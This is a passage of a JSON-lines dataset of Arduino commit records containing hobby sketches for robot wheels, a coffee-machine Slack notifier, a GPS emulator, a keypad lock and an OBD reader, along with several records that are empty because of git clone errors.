{"commit":"56cba00b051508557e7ec32489e9798711d61a42","subject":"Create mecanumwheels.ino","message":"Create mecanumwheels.ino\n\ni am making mecanum wheels for my robot Robyn Inmoov","repos":"MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab,MyRobotLab\/pyrobotlab","old_file":"home\/Markus\/mecanumwheels.ino","new_file":"home\/Markus\/mecanumwheels.ino","new_contents":"\nint leftrearPin = 3; \/\/ leftrear motor connected to digital pin 3\nint leftfrontPin = 5; \/\/ leftfront motor connected to digital pin 5\nint rightrearPin = 9; \/\/ rightrear motor connected to digital pin 9\nint rightfrontPin = 10; \/\/ rightfront motor connected to digital pin 10\nint sensorPin0 = A0; \/\/ select the input pin for the potentiometer\nint sensorPin1 = A1; \/\/ select the input pin for the potentiometer\nint sensorPin2 = A2; \/\/ select the input pin for the potentiometer\nint sensor0Value = 0; \/\/ variable to store the value coming from the sensor\nint sensor1Value = 0; \/\/ variable to store the value coming from the sensor\nint sensor2Value = 0; \/\/ variable to store the value coming from the sensor\nint leftfront = 0;\nint rightfront = 0;\nint leftrear = 0;\nint rightrear = 0;\n\nvoid setup() {\n pinMode(2, OUTPUT); \/\/determine the direction for the leftrear motor\n pinMode(4, OUTPUT); \/\/determine the direction for the leftfront motor\n pinMode(8, OUTPUT); \/\/determine the direction for the rightrear motor\n pinMode(12, OUTPUT); \/\/determine the direction for the rightfront motor\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n sensor0Value = analogRead(sensorPin0);\n sensor0Value = map(sensor0Value, 0, 1023, 250, -250);\n sensor1Value = analogRead(sensorPin1);\n sensor1Value = map(sensor1Value, 0, 1023, -250, 250);\n sensor2Value = analogRead(sensorPin2);\n sensor2Value = map(sensor2Value, 0, 1023, 250, -250);\n \n leftfront = sensor0Value - sensor1Value + sensor2Value ;\n if (leftfront >= 250) {\n leftfront = 250;\n }\n if (leftfront <= -250) {\n leftfront = -250;\n }\n rightfront = sensor0Value + sensor1Value - sensor2Value ;\n if (rightfront >= 250) {\n rightfront = 250;\n }\n if (rightfront <= -250) {\n rightfront = -250;\n }\n leftrear = sensor0Value + sensor1Value + sensor2Value ;\n if (leftrear >= 250) {\n leftrear = 250;\n }\n if (leftrear <= -250) {\n leftrear = -250;\n }\n rightrear = sensor0Value - sensor1Value - sensor2Value ; \n if (rightrear >= 250) {\n rightrear = 250;\n }\n if (rightrear <= -250) {\n rightrear = -250;\n }\n if (leftrear <= -20) {\n digitalWrite(2, HIGH);\n analogWrite(leftrearPin, - leftrear);\n } else if (leftrear >= 10) {\n digitalWrite(2, LOW);\n analogWrite(leftrearPin, leftrear); \n } else if (leftrear <= 10) {\n analogWrite(leftrearPin, 0); \n}\n if (rightrear <= -20) {\n digitalWrite(8, HIGH);\n analogWrite(rightrearPin, - rightrear);\n } else if (rightrear >= 10) {\n digitalWrite(8, LOW);\n analogWrite(rightrearPin, rightrear); \n } else if (rightrear <= 10) {\n analogWrite(rightrearPin, 0); \n}\n if (leftfront <= -20) {\n digitalWrite(4, HIGH);\n analogWrite(leftfrontPin, - leftfront);\n } else if (leftfront >= 10) {\n digitalWrite(4, LOW);\n analogWrite(leftfrontPin, leftfront); \n } else if (leftfront <= 10) {\n analogWrite(leftfrontPin, 0); \n}\n if (rightfront <= -20) {\n digitalWrite(12, HIGH);\n analogWrite(rightfrontPin, - rightfront);\n } else if (rightfront >= 10) {\n digitalWrite(12, LOW);\n analogWrite(rightfrontPin, rightfront); \n } else if (rightfront <= 10) {\n analogWrite(rightfrontPin, 0); \n}\n delay(200);\n Serial.println(rightrear);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'home\/Markus\/mecanumwheels.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8edf03f4d9a084a4468ab41d7e2be2c26b1575fc","subject":"Added installation script","message":"Added installation script\n","repos":"arjo129\/uSpeech,arjo129\/uSpeech","old_file":"installation\/examples\/Calibration\/Calibration.ino","new_file":"installation\/examples\/Calibration\/Calibration.ino","new_contents":"#include <uspeech.h>\nsignal voice(A0);\nvoid setup(){\n voice.calibrate();\n Serial.begin(9600);\n}\nvoid loop(){\n \/\/Serial.println(voice.getPhoneme());\n voice.sample();\n Serial.println(voice.power());\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'installation\/examples\/Calibration\/Calibration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dfb358fbc17196ad1a7f96b0e3f097fada261faa","subject":"Updated fixed resistor in thermistor code","message":"Updated fixed resistor in thermistor code\n","repos":"tylergrreid\/BRIC_II,tylergrreid\/BRIC_II,tylergrreid\/BRIC_II","old_file":"BRIC_II\/thermistors.ino","new_file":"BRIC_II\/thermistors.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/BRIC_II.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d85dc2215906d48c2c1a21a304d0f7c64e977037","subject":"Add source code for Jarbas","message":"Add source code for Jarbas\n","repos":"fablabjoinville\/jarbas","old_file":"jarbas.ino","new_file":"jarbas.ino","new_contents":"#include <ESP8266HTTPClient.h>\n#include <ESP8266WiFiMulti.h>\n\n#define RELAY D1\n\nconst int HTTPS_PORT = 443;\nconst char* WIFI = \"WIFI\";\nconst char* PASSWORD = \"PASSWORD\";\n\nconst char* HOST = \"hooks.slack.com\";\nconst char* URL = \"URL\";\nString PAYLOAD = String(\"{\\\"text\\\": \\\"@here Caf\u00e9 quentinho na cafeteira!\\\", \\\"link_names\\\": 1}\");\n\nESP8266WiFiMulti wifi;\n\nbool turnOff = false;\nbool coffeeIsReady = false;\n\nvoid prepareCoffee() {\n delay(9 * 60 * 1000); \/\/ Wait 9 minutes.\n coffeeIsReady = true;\n}\n\nvoid notifySlack() {\n HTTPClient client;\n \n client.begin(HOST, HTTPS_PORT, URL, String(\"AC:95:5A:58:B8:4E:0B:CD:B3:97:D2:88:68:F5:CA:C1:0A:81:E3:6E\"));\n client.addHeader(\"Content-Type\", \"application\/x-www-form-urlencoded\");\n client.POST(PAYLOAD);\n client.end();\n}\n\nvoid waitAndTurnOffCoffeeMachine() {\n delay(10 * 60 * 1000); \/\/ Wait 10 minutes.\n digitalWrite(RELAY, LOW); \/\/ Turn off.\n turnOff = true;\n}\n\nvoid setup() {\n wifi.addAP(WIFI, PASSWORD);\n pinMode(RELAY, OUTPUT);\n digitalWrite(RELAY, HIGH);\n}\n\nvoid loop() {\n if (!turnOff && !coffeeIsReady) prepareCoffee();\n\n if (!turnOff && coffeeIsReady && wifi.run() == WL_CONNECTED) {\n notifySlack();\n waitAndTurnOffCoffeeMachine();\n }\n\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jarbas.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4eb163c7f2f959cf86c810eee6ab108dc1cf148f","subject":"Nightlight (LED and photoresistor)","message":"Nightlight (LED and photoresistor)\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/analog_nightlight\/analog_nightlight.ino","new_file":"src\/analog_nightlight\/analog_nightlight.ino","new_contents":"const int sensorPin = 0;\nconst int ledPin = 9;\n\nint value = 0;\n\nvoid setup()\n{\n analogReference(DEFAULT); \/\/ not necessary\n pinMode(ledPin, OUTPUT);\n Serial.begin(9600); \n}\n\nvoid loop()\n{\n value = analogRead(sensorPin);\n Serial.println(value); \n if (value > 900) digitalWrite(ledPin, HIGH);\n else digitalWrite(ledPin, LOW);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/analog_nightlight\/analog_nightlight.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b73be3ca3abfb6513a39a0118df750d971b746af","subject":"Add a simple GPS emulator","message":"Add a simple GPS emulator\n","repos":"AdlerFarHorizons\/GpsDevices","old_file":"software\/SimpleGPSEmu\/SimpleGPSEmu.ino","new_file":"software\/SimpleGPSEmu\/SimpleGPSEmu.ino","new_contents":"\/*\n * SimpleGPSEmu - GPS NMEA source emulator produces GGA and RMC\n * sentences.\n *\/\n\n \/*\n * Syncing to the PC only works if Teensy is programmed. If it is\n * powered down it will come back up at approximately the time it\n * was powered down.\n * \n *\/\n\n#include <MsTimer2.h>\n#include <TimeLib.h>\n\/*\n * $GPGGA,105506.00,4104.90288,N,08753.60184,W,1,5,03,1154.3,M,0.0,M,0.0,0000*45\n * $GPGGA,hhmmss.ss,llll.lllll,a,nnnnn.nnnnn,b,t,uu,v.v,w.w,M,x.x,M,y.y,zzzz*hh <CR><LF>\n * $GPRMC,105506.00,A,4104.90288,N,08753.60184,W,58.32,105.0,141017,0.0,E,A*22\n * $GPRMC,hhmmss.ss,A,llll.lllll,a,yyyyy.yyyyy,a,x.x,x.x,xxxxxx,x.x,a,i*hh<CR><LF>\n *\/\n\n\/\/ Koerner Aviation coordinates:\nconst float startLat = 41.09; \/\/ degrees\nconst float startLon = -87.9167100; \/\/ degrees\nconst float startAlt = 434.3; \/\/ m\n\nconst float vAscent = 6; \/\/ m\/sec\nconst float vDescent = -10; \/\/ m\/sec\nconst float altBurst = 3e4; \/\/ m\nconst int tUpdate = 10; \/\/ seconds\nconst int speedup = 1;\n\nconst float earth_radius = 6.7E6; \/\/ m\nconst float latScale = 1.124E5; \/\/ m\/deg\nconst float knots2mps = 0.51444444444;\nconst float ft2m = 0.3048;\nconst float deg2rad = 3.1415927 \/ 180.0;\n\nboolean isBurst;\nbyte inByte;\nchar inChar;\nboolean timesUp;\nfloat vWind = 30; \/\/ m\/sec\nfloat vWindAngle = 105; \/\/ 0-360 deg east of north => tan( vx\/vy )\nfloat vx, vy, vz; \/\/ x=>lon, y=>lat, z=>alt\nfloat position1[3] = {startLon, startLat, startAlt};\nfloat position2[3] = {startLon, startLat, startAlt};\nString inStr;\nunsigned long timeNow, timeLast;\n\nvoid setup() {\n MsTimer2::set( round( 1000.0 * tUpdate \/ ( 1.0 * speedup) ), sendString );\n \/\/ set the Time library to use Teensy 3.0's RTC to keep time\n setSyncProvider( getTeensy3Time );\n Serial1.begin(4800);\n Serial.begin(9600);\n delay( 100 );\n\n \/\/ Sync to PC time\n if (Serial.available()) {\n time_t t = processSyncMessage();\n if (t != 0) {\n Teensy3Clock.set(t); \/\/ set the RTC\n setTime(t);\n }\n }\n timeLast = millis();\n vx = vWind * sin( vWindAngle * deg2rad );\n vy = vWind * cos( vWindAngle * deg2rad );\n vz = vAscent;\n Serial.println( nmeaGgaString() );\n Serial.println( nmeaRmcString() );\n timesUp = false;\n isBurst = false;\n MsTimer2::start();\n}\n\nvoid loop() {\n\n if ( Serial.available() > 0 ) {\n\n inChar = (char)Serial.read();\n \n \/\/ Check for a CTRL-<x> and loop back something readable\n \/\/ unless it's a CR BS or LF. \n \/\/ If CR add a LF in case the terminal isn't sending them.\n \/\/ If LF (^J), put it through. \n \/\/ If BS, erase the character\n \n if (inChar == '\\r') { \/\/Terminal sent a CR, add LF\n \n Serial.write( '\\n' );Serial.write( inChar );\n inStr = \"\";\n\n } else if ( inChar == '\\n' ) { \/\/Line Feed only, send it.\n \n Serial.write( inChar );\n inStr += inChar;\n \n } else if ( (byte)inChar == (char)0x08 ) { \/\/ BS, erase the char.\n\n Serial.write( inChar );Serial.write( '\\x20' );Serial.write( inChar );\n inStr = inStr.substring( 0, inStr.length() - 1 );\n\n } else if ( (byte)inChar < 0x20 ) {\n\n inChar = (char)((byte)inChar + 0x40);\n Serial.write( '^' );Serial.write( inChar );\n inStr += '^';inStr += inChar;\n\n } else {\n\n Serial.write( inChar );\n inStr += inChar;\n\n }\n\n Serial.flush();\n \n }\n\n if ( timesUp ) {\n updatePosition();\n Serial.println( nmeaGgaString() );\n Serial1.println( nmeaGgaString() );\n Serial.println( nmeaRmcString() );\n Serial1.println( nmeaRmcString() );\n timesUp = false;\n }\n\n if ( !isBurst && position1[2] > altBurst ) {\n vz = vDescent;\n isBurst = true;\n } \n\n if ( isBurst && position1[2] < startAlt ) {\n vx = 0.0;\n vy = 0.0;\n vz = 0.0;\n }\n\n}\n\ntime_t getTeensy3Time()\n{\n return Teensy3Clock.get();\n}\n\nString nmeaGgaString() {\n String tmpStr = \"GPGGA,\" +\n timeToNmeaString( now() ) + \",\" +\n latToNmeaString( position1[1] ) + \",\" +\n lonToNmeaString( position1[0] ) + \",\" + \"1,5,03,\" +\n altToNmeaString( position1[2] ) + \",M,0.0,M,0.0,0000\";\n \n return '$' + tmpStr + '*' + checkStr( tmpStr );\n}\n\nString nmeaRmcString() {\n \n String tmpStr = \"GPRMC,\" +\n timeToNmeaString( now() ) + \",A,\" +\n latToNmeaString( position1[1] ) + ',' +\n lonToNmeaString( position1[0] ) + ',' + \n gndSpeedToNmeaString( vx, vy ) + ',' +\n headingToNmeaString( vx, vy ) + ',' +\n dateToNmeaString( now() ) + \",0.0,E,A\";\n \n return '$' + tmpStr + '*' + checkStr( tmpStr );\n}\n\nString timeToNmeaString( time_t t ) {\n String tmpStr = \"\";\n int hr = hour(t); \n if ( hr < 10 ) tmpStr += '0';\n tmpStr += String( hr );\n int min = minute(t); \n if ( min < 10 ) tmpStr += '0';\n tmpStr += String( min );\n float sec = (float)( second(t) * 100 ) \/ 100.0; \n if ( sec < 10 ) tmpStr += \"0\";\n tmpStr += String( sec );\n return tmpStr;\n}\n\nString dateToNmeaString( time_t t ) {\n return zeroPad( String( day(t) ), 2 ) + \n zeroPad( String( month(t) ), 2 ) +\n String( year(t) ).substring( 2 ); \n}\n\nString latToNmeaString( float lat ) {\n char dir = 'N';\n if ( lat < 0.0 ) {\n dir = 'S';\n lat *= -1.0;\n }\n float mins = 60.0 * ( lat - floor( lat ) );\n int deg = floor( lat );\n return zeroPad( String( deg ), 2 ) + \n zeroPad( String( (int)floor( mins ) ), 2 ) +\n zeroFill( String( mins - floor( mins ), 5 ).substring( 1 ), 6 ) +\n ',' + dir; \n}\n\nString lonToNmeaString( float lon ) {\n char dir = 'E';\n if ( lon < 0.0 ) {\n dir = 'W';\n lon *= -1.0;\n }\n float mins = 60.0 * ( lon - floor( lon ) );\n int deg = floor( lon );\n return zeroPad( String( deg ), 3 ) + \n zeroPad( String( (int)floor( mins ) ), 2 ) +\n zeroFill( String( mins - floor( mins ), 5 ).substring( 1 ), 6 ) +\n ',' + dir; \n}\n\nString altToNmeaString( float alt ) {\n return String( round( 10 * alt ) \/ 10.0, 1 );\n}\n\nString gndSpeedToNmeaString( float velx, float vely ) {\n return String( sqrt( velx*velx + vely*vely ) \/ knots2mps, 1 ); \n}\n\nString headingToNmeaString( float velx, float vely ) {\n float angle = ( atan2( velx, vely ) ) \/ deg2rad;\n if ( angle < 0 ) angle += 180.0;\n return String( angle, 1 ); \n}\n\nvoid updatePosition( ) {\n timeNow = millis();\n float deltaT = speedup * ( timeNow - timeLast ) \/ 1000.0;\n timeLast = timeNow;\n addToLatLonAlt( deltaT * vy, deltaT * vx, deltaT * vz );\n}\n\nvoid addToLatLonAlt( float dy, float dx, float dz ) {\n position1[0] += dx * cos( position1[1] * deg2rad ) \/ latScale;\n position1[1] += dy \/ latScale;\n position1[2] += dz;\n}\n\nString zeroPad( String str, int strLen ) { \n int len = str.length();\n for ( int i = 0 ; i < strLen - len ; i++ ) {\n str = '0' + str;\n }\n return str;\n}\n\nString zeroFill( String str, int strLen ) {\n int len = str.length();\n for ( int i = 0 ; i < strLen - len ; i++ ) {\n str = str + '0';\n }\n return str;\n}\nvoid sendString() {\n timesUp = true;\n}\n\nString checkStr( String str ) {\n \n char buf[80]; \/\/ Max length of NMEA excl. '$',CR,LF = 79, + null\n str.toCharArray(buf, 80);\n byte check = 0x00;\n for ( int i = 0 ; i < str.length() ; i++ ) {\n check ^= (byte)buf[i];\n }\n String chkStr = String( check, HEX );\n if ( check < 0x10 ) {\n chkStr = '0' + chkStr;\n }\n chkStr.toUpperCase();\n return chkStr;\n}\n\n\/* code to process time sync messages from the serial port *\/\n#define TIME_HEADER \"T\" \/\/ Header tag for serial time sync message\n\nunsigned long processSyncMessage() {\n unsigned long pctime = 0L;\n const unsigned long DEFAULT_TIME = 1357041600; \/\/ Jan 1 2013 \n\n if(Serial.find(TIME_HEADER)) {\n pctime = Serial.parseInt();\n return pctime;\n if( pctime < DEFAULT_TIME) { \/\/ check the value is a valid time (greater than Jan 1 2013)\n pctime = 0L; \/\/ return 0 to indicate that the time is not valid\n }\n }\n return pctime;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/SimpleGPSEmu\/SimpleGPSEmu.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"be158e395463bb7f1d971e3ec17077eeecac4e06","subject":"Enhanced SoftAP with channel and hide parameters","message":"Enhanced SoftAP with channel and hide parameters\n","repos":"SaltyViper\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,SaltyViper\/esp8266_deauther,SaltyViper\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,SaltyViper\/esp8266_deauther","old_file":"esp8266_deauther\/esp8266_deauther.ino","new_file":"esp8266_deauther\/esp8266_deauther.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ArtursGailis1995\/esp8266_deauther.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6222884bb3ae30cdc84b3fb539f52dc9b97382d6","subject":"working on bond keypad code","message":"working on bond keypad code\n","repos":"esologic\/car-HUD,esologic\/car-HUD,esologic\/car-HUD","old_file":"arduino-keypad\/ak\/ak.ino","new_file":"arduino-keypad\/ak\/ak.ino","new_contents":"#define MODECOMBO 0\n#define MODESTART 1\n\n\n#define number_of_74hc595s 2 \/\/How many of the shift registers - change this\n#define numOfRegisterPins number_of_74hc595s * 8\nint SER_PIN = 8; \/\/pin 14 on the 75HC595\nint RCLK_PIN = 9; \/\/pin 12 on the 75HC595\nint SRCLK_PIN = 10; \/\/pin 11 on the 75HC595\nboolean registers[numOfRegisterPins];\n\nunsigned long lastBounceTime = 0;\nunsigned long lastPressTime = 0;\nunsigned long lastTransitionTime = 0;\n\nconst long debounceInterval = 10;\nconst long timeoutInterval = 3000;\nconst long transitionInterval = 5000;\n\n#define NUMBUTTONS 3\nint buttons[NUMBUTTONS] = {2, 3, 4};\nint lastStates[NUMBUTTONS];\n\n#define COMBOLENGTH 4\nint comboPos = 0;\nint comboBuffer[COMBOLENGTH];\nstatic int goodCombo[COMBOLENGTH] = {1, 2, 1, 0};\n\nint state; \n\nvoid setup() {\n\n Serial.begin(9600);\n\n pinMode(SER_PIN, OUTPUT);\n pinMode(RCLK_PIN, OUTPUT);\n pinMode(SRCLK_PIN, OUTPUT);\n\n for (int i; i < NUMBUTTONS; i++) {\n pinMode(buttons[i], INPUT);\n lastStates[i] = 0;\n }\n\n pinMode(SER_PIN, OUTPUT);\n pinMode(RCLK_PIN, OUTPUT);\n pinMode(SRCLK_PIN, OUTPUT);\n\n \/\/reset all register pins\n clearRegisters();\n writeRegisters();\n\n state = 0; \n \n}\n\nvoid loop() {\n\n unsigned long currentMillis = millis();\n\n switch (state) {\n \n case MODECOMBO:\n Serial.println(\"State 0\");\n setRegisterPin(9, LOW);\n setRegisterPin(10, LOW);\n setRegisterPin(11, HIGH);\n writeRegisters();\n \n if (currentMillis - lastBounceTime >= debounceInterval) {\n \n lastBounceTime = currentMillis;\n \n for (int buttonNumber; buttonNumber < NUMBUTTONS; buttonNumber++) {\n \n int buttonState = digitalRead(buttons[buttonNumber]);\n \n \/\/ this ensures that the button is released before registering new presses\n if ((buttonState != lastStates[buttonNumber]) && (buttonState)) {\n lastPressTime = currentMillis;\n if (addPress(buttonNumber)) {\n state = MODESTART;\n lastTransitionTime = currentMillis;\n }\n }\n lastStates[buttonNumber] = buttonState;\n }\n }\n\n if ((currentMillis - lastPressTime >= timeoutInterval) && (comboPos > 0)){\n Serial.println(\"timeout!\");\n restartCombo();\n }\n \n break;\n\n case MODESTART:\n Serial.println(\"State 1\");\n setRegisterPin(9, LOW);\n setRegisterPin(10, HIGH);\n setRegisterPin(11, LOW);\n writeRegisters();\n\n \/\/ the machine will transition back into \n if (currentMillis - lastTransitionTime >= transitionInterval) {\n state = 0;\n }\n \n break;\n }\n}\n\nvoid restartCombo(void) {\n comboPos = 0;\n for (int i; i < NUMBUTTONS; i++) {\n setRegisterPin(i, LOW);\n }\n writeRegisters();\n}\n\nbool addPress(int buttonNumber) {\n \n setAndWrite(buttonNumber, HIGH);\n \n comboBuffer[comboPos] = buttonNumber;\n comboPos++;\n\n if (comboPos == COMBOLENGTH) {\n \n for (int i; i < COMBOLENGTH; i++) {\n\n bool correct = comboBuffer[i] == goodCombo[i];\n\n if (!correct) {\n restartCombo();\n return false;\n }\n }\n return true;\n }\n return false;\n}\n\nvoid setAndWrite(int index, int value) {\n setRegisterPin(index, value);\n writeRegisters();\n}\n\nvoid clearRegisters(){\n for(int i = numOfRegisterPins - 1; i >= 0; i--){\n registers[i] = LOW;\n }\n} \n\nvoid writeRegisters() {\n\n digitalWrite(RCLK_PIN, LOW);\n\n for (int i = numOfRegisterPins - 1; i >= 0; i--){\n \n digitalWrite(SRCLK_PIN, LOW);\n\n int val = registers[i];\n\n digitalWrite(SER_PIN, val);\n digitalWrite(SRCLK_PIN, HIGH);\n }\n digitalWrite(RCLK_PIN, HIGH);\n}\n\n\/\/set an individual pin HIGH or LOW\nvoid setRegisterPin(int index, int value){\n registers[index] = value;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-keypad\/ak\/ak.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"7ef87251d912f0e058699d0fcb15747242a7c251","subject":"another example","message":"another example\n","repos":"interactive-matter\/Kultpfunzel","old_file":"Examples\/kultpfunzel_pot\/kultpfunzel_pot.ino","new_file":"Examples\/kultpfunzel_pot\/kultpfunzel_pot.ino","new_contents":"\/*\n Read analog values from a potentiometer\n*\/\n\nint ledPin = 10; \/\/ And a led between ground and this pin\nint potiPin = A3;\n \nunsigned int analogValue;\n \nvoid setup ()\n{\n pinMode (ledPin, OUTPUT);\n Serial.begin(9600);\n}\n\nvoid loop () {\n analogValue = analogRead(potiPin); \/\/ This is in the range 0 - 1023\n analogValue = map(analogValue, 0, 1023, 0, 255); \/\/ mapped to 0 - 255\n \n Serial.println(analogValue);\n analogWrite (ledPin, analogValue);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/kultpfunzel_pot\/kultpfunzel_pot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"153732301dc7155cd7f57547c79a177ca56e5bdc","subject":"added first test code","message":"added first test code\n","repos":"pyrito\/roommapping,pyrito\/roommapping,pyrito\/roommapping","old_file":"test\/Pan_Tilt_Servo_Movement_Test_Code.ino","new_file":"test\/Pan_Tilt_Servo_Movement_Test_Code.ino","new_contents":"\/\/This is the Pan Tilt Servo Movement code\n\/\/By pyrito\n\n#include <Servo.h>\n\n Servo yawServo;\n Servo pitchServo;\n\nvoid setup()\n{\n yawServo.attach(3);\n pitchServo.attach(2);\n SetPanTiltConfiguration(0,0,13,10);\n}\n\nvoid loop()\n{ \n}\n\nvoid SetPanTiltConfiguration(float yaw, float pitch, float yawOffset, float pitchOffset)\n{ \n yawServo.write(yaw + yawOffset);\n pitchServo.write(pitch + pitchOffset);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/Pan_Tilt_Servo_Movement_Test_Code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"94c71d13981c2679972ba1e624d3c15dd9db1400","subject":"Added multi pin port manipulation","message":"Added multi pin port manipulation\n\nPort mappings for Arduino Mega 2560 need to be sorted out\n","repos":"dgrover\/flyopticon,dgrover\/flyopticon","old_file":"flea3_multi_pin_trigger\/flea3_multi_pin_trigger.ino","new_file":"flea3_multi_pin_trigger\/flea3_multi_pin_trigger.ino","new_contents":"void setup()\n{\n DDRB = B11111111;\n}\n\nvoid loop()\n{\n PORTB = B11100000;\n delayMicroseconds(3333);\n PORTB = B00000000;\n delayMicroseconds(3333);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'flea3_multi_pin_trigger\/flea3_multi_pin_trigger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2336b41c998be4b6aec355d9c0eaccb0388cf11f","subject":"Ball drop bug fixed","message":"Ball drop bug fixed\n","repos":"auvnitrkl\/tiburon-3.0","old_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/auvnitrkl\/tiburon-3.0.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f9d8dcc6a672dec1ce6031f4279694b6b4e50f73","subject":"Create PC_v099b0306.ino","message":"Create PC_v099b0306.ino","repos":"Lafudoci\/ProbeCube","old_file":"Particle Photon based\/code\/PC_v099b0306.ino","new_file":"Particle Photon based\/code\/PC_v099b0306.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Particle' did not match any file(s) known to git\nerror: pathspec 'Photon' did not match any file(s) known to git\nerror: pathspec 'based\/code\/PC_v099b0306.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ccfc7e55c467660e947fe7f51df58857c3107ff","subject":"Adds example for Arduino DUE.","message":"Adds example for Arduino DUE.\n","repos":"iwanders\/OBD9141","old_file":"examples\/readerDUE\/readerDUE.ino","new_file":"examples\/readerDUE\/readerDUE.ino","new_contents":"#include \"Arduino.h\"\n#include \"OBD9141.h\"\n\n\/*\n On the Arduino DUE (version 1.6.8) using the Serial port pins as digital IO\n pins is problematic. In particular, it seems you cannot use the port as a\n serial port after using pinMode() on the pins.\n\n We fix this by using an extra pin; we use this extra pin to create the slow\n 5 baud init pattern while the Serial pins remain in use for the serial port.\n\n So connect any digital pin to the Tx pin of the serial port and update the \n number accordingly.\n*\/\n\n\/\/ In this example, Serial port 'Serial1' is used. The native USB port is used\n\/\/ to provide information.\n\n\/\/ The real Rx pin of the serial port, such that we can enable the pullup:\n#define RX_PIN 19\n\n\/\/ An extra pin connected to the Tx pin of the Serial port used. \n#define TX_PIN 5\n\/\/ So this pin has a direct connection to pin 18 (TX1)\n\n\/\/ The ENable pin for my SN65HVDA195 breakout is connected to pin 2.\n#define EN_PIN 2\n\n\nOBD9141 obd;\n\n\nvoid setup(){\n SerialUSB.begin(9600);\n delay(2000);\n\n pinMode(EN_PIN, OUTPUT);\n digitalWrite(EN_PIN, HIGH);\n\n obd.begin(Serial1, RX_PIN, TX_PIN);\n}\n \nvoid loop(){\n SerialUSB.println(\"Looping\");\n\n bool init_success = obd.init();\n SerialUSB.print(\"init_success:\");\n SerialUSB.println(init_success);\n\n \/\/ init_success = true;\n \/\/ Uncomment this line if you use the simulator to force the init to be\n \/\/ interpreted as successful. With an actual ECU; be sure that the init is \n \/\/ succesful before trying to request PID's.\n\n if (init_success){\n bool res;\n while(1){\n res = obd.getCurrentPID(0x11, 1);\n if (res){\n SerialUSB.print(\"Result 0x11 (throttle): \");\n SerialUSB.println(obd.readUint8());\n }\n \n res = obd.getCurrentPID(0x0C, 2);\n if (res){\n SerialUSB.print(\"Result 0x0C (RPM): \");\n SerialUSB.println(obd.readUint16()\/4);\n }\n\n\n res = obd.getCurrentPID(0x0D, 1);\n if (res){\n SerialUSB.print(\"Result 0x0D (speed): \");\n SerialUSB.println(obd.readUint8());\n }\n SerialUSB.println();\n\n delay(200);\n }\n }\n delay(3000);\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/readerDUE\/readerDUE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ac1b03bfb9a917e60107e6a3b4311630771ed045","subject":"Switched Data ouput order to place RTC Unix time in front","message":"Switched Data ouput order to place RTC Unix time in front","repos":"DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge,DrewMeyersCUboulder\/UPOD_Bridge","old_file":"ATMega\/TestUPODv5_Integrated_Bridge.ino","new_file":"ATMega\/TestUPODv5_Integrated_Bridge.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DrewMeyersCUboulder\/UPOD_Bridge.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7869be3009958897e39a4cb874652ef8276f88ac","subject":"Yet 